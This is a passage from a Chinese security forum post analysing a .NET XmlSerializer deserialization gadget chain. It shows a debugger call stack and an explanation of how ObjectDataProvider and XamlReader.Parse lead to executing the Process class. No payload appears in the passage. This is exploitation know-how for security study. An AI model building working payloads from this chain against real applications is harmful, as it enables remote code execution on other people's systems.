        Microsoft.GeneratedCode!Microsoft.Xml.Serialization.GeneratedAssembly.XmlSerializationReaderExpandedWrapper2.Read9_Item() (IL≈0x0050, Native=0x039D38E0+0xE7)
        [本机到托管的转换]
        mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL≈0x000F, Native=0x06B0DCB8+0x6B)
        mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL≈0x007F, Native=0x06B0D870+0x18D)
        mscorlib.dll!System.Reflection.MethodBase.Invoke(object obj, object[] parameters) (IL≈0x0000, Native=0x039D3848+0x36)
        System.Xml.dll!System.Xml.Serialization.TempAssembly.InvokeReader(System.Xml.Serialization.XmlMapping mapping, System.Xml.XmlReader xmlReader, System.Xml.Serialization.XmlDeserializationEvents events, string encodingStyle) (IL≈0x00E5, Native=0x039D15F0+0x3A1)
        System.Xml.dll!System.Xml.Serialization.XmlSerializer.Deserialize(System.Xml.XmlReader xmlReader, string encodingStyle, System.Xml.Serialization.XmlDeserializationEvents events) (IL≈0x0084, Native=0x039D11E0+0x1D9)
        System.Xml.dll!System.Xml.Serialization.XmlSerializer.Deserialize(System.Xml.XmlReader xmlReader, string encodingStyle) (IL≈0x0000, Native=0x039D1180+0x42)
        System.Xml.dll!System.Xml.Serialization.XmlSerializer.Deserialize(System.IO.TextReader textReader) (IL≈0x001C, Native=0x07B8FD20+0x7F)
        ConsoleApp.exe!ConsoleApp.Program.Main(string[] args) (IL≈0x003C, Native=0x05E61C40+0xF6)
    

    从上面可以看出这个链的调用情况:ObjectDataProvider.OnParametersChanged触发了Refresh,在通过Refresh反射XamlReader中的Parse然后在到新的ObjectDataProvider中的Refresh执行Process类

    参考链接:

    1. https://xz.aliyun.com/t/9592
    2. https://www.anquanke.com/post/id/172316
    发表于 2021-12-19 10:52:55
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册